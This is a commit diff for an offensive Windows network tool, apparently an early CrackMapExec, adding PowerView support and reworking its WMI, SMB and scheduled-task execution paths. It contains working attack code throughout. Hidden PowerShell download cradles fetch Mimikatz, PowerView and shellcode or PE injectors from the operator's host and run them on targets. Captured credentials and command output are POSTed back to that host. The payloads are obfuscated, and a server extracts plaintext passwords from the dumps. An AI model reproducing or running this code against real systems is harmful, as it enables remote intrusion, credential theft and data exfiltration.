Initial PowerView integration, for some reason only works when using
smbexec as the execution method, so for now it's forced to that Fixed a bug where forcing Powershell code to run in a 32bit process would cause a rpc_access_denied error message Made Mimikatz parser output more consistent Made wmiexec and smbexec output more consistentmain
parent
bff44a5ed2
commit
c9bb82fb45
|
@ -8,10 +8,10 @@ class EXECUTOR:
|
|||
|
||||
"""Yes, I know this sounds like the pokemon... deal with it"""
|
||||
|
||||
def __init__(self, command, host, domain, noOutput, smbconnection):
|
||||
def __init__(self, command, host, domain, noOutput, smbconnection, method):
|
||||
|
||||
if settings.args.execm == 'wmi':
|
||||
wmi_exec = WMIEXEC(command,
|
||||
if method == 'wmi':
|
||||
wmi_exec = WMIEXEC(command,
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
domain,
|
||||
|
@ -22,7 +22,7 @@ class EXECUTOR:
|
|||
settings.args.kerb)
|
||||
wmi_exec.run(host, smbconnection)
|
||||
|
||||
elif settings.args.execm == 'smbexec':
|
||||
elif method == 'smbexec':
|
||||
smb_exec = SMBEXEC(command,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
settings.args.user,
|
||||
|
@ -36,7 +36,7 @@ class EXECUTOR:
|
|||
noOutput)
|
||||
smb_exec.run(host)
|
||||
|
||||
elif settings.args.execm == 'atexec':
|
||||
elif method == 'atexec':
|
||||
atsvc_exec = TSCH_EXEC(command,
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
|
|
|
@ -168,29 +168,35 @@ def connect(host):
|
|||
wdigest.disable()
|
||||
|
||||
if settings.args.command:
|
||||
EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb)
|
||||
EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)
|
||||
|
||||
if settings.args.pscommand:
|
||||
EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb)
|
||||
EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)
|
||||
|
||||
if settings.args.mimikatz:
|
||||
powah_command = PowerSploit(settings.args.server, local_ip)
|
||||
EXECUTOR(powah_command.mimikatz(), host, domain, True, smb)
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)
|
||||
|
||||
if settings.args.mimikatz_cmd:
|
||||
powah_command = PowerSploit(settings.args.server, local_ip)
|
||||
EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb)
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)
|
||||
|
||||
if settings.args.powerview:
|
||||
#For some reason powerview functions only seem to work when using smbexec...
|
||||
#I think we might have a mistery on our hands boys and girls!
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')
|
||||
|
||||
if settings.args.inject:
|
||||
powah_command = PowerSploit(settings.args.server, local_ip)
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
if settings.args.inject.startswith('met_'):
|
||||
EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb)
|
||||
EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)
|
||||
|
||||
if settings.args.inject == 'shellcode':
|
||||
EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb)
|
||||
EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)
|
||||
|
||||
if settings.args.inject == 'dll' or settings.args.inject == 'exe':
|
||||
EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb)
|
||||
EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
|
|
|
@ -9,17 +9,16 @@ def ps_command(command):
|
|||
command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command
|
||||
|
||||
if settings.args.force_ps32:
|
||||
logging.info('Wrapping the following PS command in a PS32 IEX cradle: ' + command)
|
||||
command = 'IEX "$Env:windir\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}"'.format(b64encode(command.encode('UTF-16LE')))
|
||||
logging.info('Forcing the following command to execute in a 32bit PS process: ' + command)
|
||||
command = '%SystemRoot%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||
else:
|
||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||
|
||||
logging.info('Full PS command: ' + command)
|
||||
|
||||
base64_command = b64encode(command.encode('UTF-16LE'))
|
||||
return command
|
||||
|
||||
logging.info('Full PS command to be encoded: ' + command)
|
||||
ps_command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(base64_command)
|
||||
|
||||
return ps_command
|
||||
|
||||
class PowerSploit:
|
||||
class PowerShell:
|
||||
|
||||
"""
|
||||
https://www.youtube.com/watch?v=nm6DO_7px1I
|
||||
|
@ -29,15 +28,13 @@ class PowerSploit:
|
|||
self.localip = localip
|
||||
self.protocol = server
|
||||
self.func_name = settings.args.obfs_func_name
|
||||
if server == 'smb':
|
||||
self.protocol = 'file'
|
||||
|
||||
def mimikatz(self, command='privilege::debug sekurlsa::logonpasswords exit'):
|
||||
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-Mimikatz.ps1');
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-Mimikatz.ps1');
|
||||
$creds = Invoke-{func_name} -Command '{katz_command}';
|
||||
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}/tmp');
|
||||
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
|
||||
|
@ -52,9 +49,28 @@ class PowerSploit:
|
|||
|
||||
return ps_command(command)
|
||||
|
||||
def powerview(self, command):
|
||||
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/powerview.ps1');
|
||||
$output = {view_command} | Out-String;
|
||||
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($output);
|
||||
$request.ContentLength = $bytes.Length;
|
||||
$requestStream = $request.GetRequestStream();
|
||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||
$requestStream.Close();
|
||||
$request.GetResponse();""".format(protocol=self.protocol,
|
||||
addr=self.localip,
|
||||
view_command=command)
|
||||
|
||||
return ps_command(command)
|
||||
|
||||
def inject_meterpreter(self):
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{0}://{1}/tmp/Invoke-Shellcode.ps1');
|
||||
IEX (New-Object Net.WebClient).DownloadString('{0}://{1}/Invoke-Shellcode.ps1');
|
||||
Invoke-{2} -Force -Payload windows/meterpreter/{3} -Lhost {4} -Lport {5}""".format(self.protocol,
|
||||
self.localip,
|
||||
self.func_name,
|
||||
|
@ -70,9 +86,9 @@ class PowerSploit:
|
|||
|
||||
def inject_shellcode(self):
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-Shellcode.ps1');
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-Shellcode.ps1');
|
||||
$WebClient = New-Object System.Net.WebClient;
|
||||
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}/tmp2/{shellcode}');
|
||||
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}/{shellcode}');
|
||||
Invoke-{func_name} -Force -Shellcode $bytes""".format(protocol=self.protocol,
|
||||
func_name=self.func_name,
|
||||
addr=self.localip,
|
||||
|
@ -87,8 +103,8 @@ class PowerSploit:
|
|||
|
||||
def inject_exe_dll(self):
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-ReflectivePEInjection.ps1');
|
||||
Invoke-{func_name} -PEUrl {protocol}://{addr}/tmp2/{pefile}""".format(protocol=self.protocol,
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-ReflectivePEInjection.ps1');
|
||||
Invoke-{func_name} -PEUrl {protocol}://{addr}/{pefile}""".format(protocol=self.protocol,
|
||||
func_name=self.func_name,
|
||||
addr=self.localip,
|
||||
pefile=settings.args.path.split('/')[-1])
|
||||
|
|
|
@ -40,6 +40,7 @@ from core.servers.smbserver import SMBServer
|
|||
from impacket import version
|
||||
from impacket.smbconnection import *
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from StringIO import StringIO
|
||||
|
||||
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
|
||||
BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
|
||||
|
@ -234,5 +235,7 @@ class RemoteShell(cmd.Cmd):
|
|||
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
|
||||
print_succ("{} Executed command via SMBEXEC".format(peer))
|
||||
if self.__noOutput is False:
|
||||
print_att(self.__outputBuffer.strip())
|
||||
buf = StringIO(self.__outputBuffer.strip()).readlines()
|
||||
for line in buf:
|
||||
print_att(line.strip())
|
||||
self.__outputBuffer = ''
|
||||
|
|
|
@ -26,6 +26,7 @@ import logging
|
|||
import string
|
||||
import random
|
||||
import ntpath
|
||||
import core.settings as settings
|
||||
|
||||
from gevent import sleep
|
||||
from core.logger import *
|
||||
|
@ -34,7 +35,7 @@ from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002,
|
|||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
import core.settings as settings
|
||||
from StringIO import StringIO
|
||||
|
||||
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
|
||||
|
||||
|
@ -218,7 +219,7 @@ class RemoteShell(cmd.Cmd):
|
|||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + data
|
||||
command = self.__shell + data
|
||||
if self.__noOutput is False:
|
||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
|
@ -229,5 +230,7 @@ class RemoteShell(cmd.Cmd):
|
|||
print_succ('{}:{} Executed command via WMIEXEC'.format(self.__win32Process.get_target(),
|
||||
settings.args.port))
|
||||
if self.__noOutput is False:
|
||||
print_att(self.__outputBuffer.strip())
|
||||
buf = StringIO(self.__outputBuffer.strip()).readlines()
|
||||
for line in buf:
|
||||
print_att(line.strip())
|
||||
self.__outputBuffer = ''
|
|
@ -18,20 +18,28 @@ class MimikatzServer(BaseHTTPRequestHandler):
|
|||
def log_message(self, format, *args):
|
||||
print_message("%s - - %s" % (self.client_address[0], format%args))
|
||||
|
||||
def save_mimikatz_output(self, data):
|
||||
log_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H:%M:%S"))
|
||||
with open('logs/' + log_name, 'w') as creds:
|
||||
creds.write(data)
|
||||
print_status("{} Saved POST data to {}".format(self.client_address[0], yellow(log_name)))
|
||||
|
||||
def do_GET(self):
|
||||
if self.path[5:].endswith('.ps1') and self.path[5:] in os.listdir('hosted'):
|
||||
if self.path[1:].endswith('.ps1') and self.path[1:] in os.listdir('hosted'):
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
with open('hosted/'+ self.path[4:], 'rb') as script:
|
||||
with open('hosted/'+ self.path[1:], 'rb') as script:
|
||||
ps_script = script.read()
|
||||
ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys
|
||||
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) #Randomizes the function name
|
||||
ps_script = comments.sub('', ps_script) #Removes the comments
|
||||
#logging.info('Sending the following modified powershell script: {}'.format(ps_script))
|
||||
if self.path[1:] != 'powerview.ps1':
|
||||
logging.info('Obfuscating Powershell script')
|
||||
ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys
|
||||
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) #Randomizes the function name
|
||||
ps_script = comments.sub('', ps_script) #Removes the comments
|
||||
#logging.info('Sending the following modified powershell script: {}'.format(ps_script))
|
||||
self.wfile.write(ps_script)
|
||||
|
||||
elif settings.args.path:
|
||||
if self.path[6:] == settings.args.path.split('/')[-1]:
|
||||
if self.path[1:] == settings.args.path.split('/')[-1]:
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
with open(settings.args.path, 'rb') as rbin:
|
||||
|
@ -50,25 +58,36 @@ class MimikatzServer(BaseHTTPRequestHandler):
|
|||
if settings.args.mimikatz:
|
||||
try:
|
||||
buf = StringIO(data).readlines()
|
||||
plaintext_creds = []
|
||||
i = 0
|
||||
while i < len(buf):
|
||||
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
|
||||
passw = buf[i].split(':')[1].strip()
|
||||
domain = buf[i-1].split(':')[1].strip()
|
||||
user = buf[i-2].split(':')[1].strip()
|
||||
print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw)))
|
||||
plaintext_creds.append('{}\\{}:{}'.format(domain, user, passw))
|
||||
|
||||
i += 1
|
||||
|
||||
if plaintext_creds:
|
||||
print_succ('{} Found plain text credentials (domain\\user:password):'.format(self.client_address[0]))
|
||||
for cred in plaintext_creds:
|
||||
print_att(u'{}'.format(cred))
|
||||
except Exception as e:
|
||||
print_error("Error while parsing Mimikatz output: {}".format(e))
|
||||
|
||||
elif settings.args.mimi_cmd:
|
||||
print_att(data)
|
||||
self.save_mimikatz_output(data)
|
||||
|
||||
log_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H:%M:%S"))
|
||||
with open('logs/' + log_name, 'w') as creds:
|
||||
creds.write(data)
|
||||
print_status("{} Saved POST data to {}".format(self.client_address[0], yellow(log_name)))
|
||||
elif settings.args.mimikatz_cmd:
|
||||
print_succ('{} Mimikatz command output:'.format(self.client_address[0]))
|
||||
print_att(data)
|
||||
self.save_mimikatz_output(data)
|
||||
|
||||
elif settings.args.powerview:
|
||||
print_succ('{} PowerView command output:'.format(self.client_address[0]))
|
||||
buf = StringIO(data.strip()).readlines()
|
||||
for line in buf:
|
||||
print_att(line.strip())
|
||||
|
||||
def http_server():
|
||||
http_server = BaseHTTPServer.HTTPServer(('0.0.0.0', 80), MimikatzServer)
|
||||
|
|
|
@ -59,7 +59,7 @@ parser = argparse.ArgumentParser(description="""
|
|||
version='2.0 - {}'.format(CODENAME),
|
||||
epilog='There\'s been an awakening... have you felt it?')
|
||||
|
||||
parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)")
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
|
||||
parser.add_argument("-u", metavar="USERNAME", dest='user', type=str, default=None, help="Username(s) or file containing usernames")
|
||||
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', type=str, default=None, help="Password(s) or file containing passwords")
|
||||
parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, help='NTLM hash(es) or file containing NTLM hashes')
|
||||
|
@ -95,6 +95,7 @@ egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enu
|
|||
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (defaults to 4000)')
|
||||
egroup.add_argument("--pass-pol", action='store_true', dest='pass_pol', help='Dump password policy')
|
||||
egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users')
|
||||
egroup.add_argument("--powerview", metavar='POWERVIEW_CMD', dest='powerview', help='Run the specified PowerView command')
|
||||
egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query')
|
||||
|
||||
sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
|
||||
|
@ -107,7 +108,7 @@ sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion dept
|
|||
|
||||
cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="wmi", help="Method to execute the command (default: wmi)")
|
||||
cgroup.add_argument('--force-ps32', action='store_true', dest='force_ps32', help='Force all PowerShell code/commands to run in a 32bit process')
|
||||
cgroup.add_argument('--force-ps32', action='store_true', dest='force_ps32', help='Forces all PowerShell code/commands to run in a 32bit process')
|
||||
cgroup.add_argument('--no-output', action='store_true', dest='no_output', help='Do not retrieve command output')
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
|
||||
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')
|
||||
|
@ -217,7 +218,7 @@ else:
|
|||
for target in args.target.split(','):
|
||||
targets.append(get_targets(target))
|
||||
|
||||
if args.mimikatz or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
|
||||
if args.mimikatz or args.powerview or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
|
||||
if args.server == 'http':
|
||||
http_server()
|
||||
|
||||
|
@ -238,7 +239,7 @@ def concurrency(targets):
|
|||
|
||||
concurrency(targets)
|
||||
|
||||
if args.mimikatz or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
|
||||
if args.mimikatz or args.powerview or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
|
||||
try:
|
||||
while True:
|
||||
sleep(1)
|
||||
|
|
File diff suppressed because it is too large
Load Diff
Loading…
Reference in New Issue